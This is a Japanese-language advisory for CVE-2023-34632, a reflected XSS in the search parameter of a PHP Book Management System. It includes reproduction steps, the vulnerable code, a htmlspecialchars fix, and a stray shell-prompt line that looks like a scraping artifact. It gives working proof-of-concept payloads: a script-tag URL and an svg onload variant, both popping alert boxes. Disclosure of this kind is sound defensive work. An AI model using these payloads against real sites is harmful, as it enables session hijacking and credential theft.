CVE-2023-34632

1000projects Book Management System 1.0 における反射型XSS

CVE-2023-34632

1000projects Book Management System バージョン 1.0 における反射型クロスサイトスクリプティング（XSS）

説明

1000projects Book Management System バージョン 1.0 に、反射型クロスサイトスクリプティング（XSS）の脆弱性が発見されました。この脆弱性は検索機能 (index.php) に存在し、search パラメータを介したユーザー入力が、適切なサニタイズや出力エンコーディングなしに HTTP レスポンスに反映されます。

攻撃者は、JavaScript コードを含む悪意のある URL を作成できます。被害者がリンクをクリックすると、スクリプトは被害者のブラウザセッションのコンテキストで実行され、セッションハイジャック、認証情報の窃取、フィッシング攻撃につながる可能性があります。

影響を受ける製品

脆弱性の詳細

概念実証

ペイロード

http://localhost/book-management/index.php?search="><script>alert('CVE-2023-34632')</script>

再現手順

1. XAMPP/WAMP をインストールし、Book Management System 1.0 をウェブルートに配置します
2. ブラウザでアプリケーションにアクセスします
3. 検索ボックスに次のペイロードを入力します（または上記の細工されたURLにアクセスします）：
   root@kitploit:~

   "><script>alert('CVE-2023-34632')</script>
   

4. JavaScript の警告ポップアップが表示され、XSS の脆弱性が確認されます

スクリーンショット

代替ペイロード

">

"><svg/onload=alert('CVE-2023-34632')>

根本原因

search パラメータの値は、サニタイズされることなく HTML レスポンスに直接埋め込まれます。PHP コードは、ユーザー入力を出力する前に htmlspecialchars() または同等の出力エンコーディングを適用していません。

脆弱なコードパターン

// Vulnerable - user input directly rendered in HTML output
$search = $_GET['search'];
echo "Search results for: " . $search;

対策

HTML コンテキストでレンダリングする前に、すべてのユーザー入力に適切な出力エンコーディングを適用します：

// Fixed - proper output encoding
$search = htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8');
echo "Search results for: " . $search;

影響

• セッションハイジャック — 攻撃者は document.cookie を介してセッションクッキーを盗むことができます
• 認証情報の窃取 — 偽のログインフォームを注入してユーザーの認証情報をフィッシングすることができます
• マルウェアの配布 — 被害者を悪意のあるウェブサイトにリダイレクトさせることができます
• 改ざん — 被害者のブラウザ上でページコンテンツを操作することができます

タイムライン

クレジット

発見者: Wonkyeom Kim (@ssophiz)

参考情報

• 1000projects Book Management System
• CWE-79: Improper Neutralization of Input During Web Page Generation
• OWASP - Cross-Site Scripting (XSS)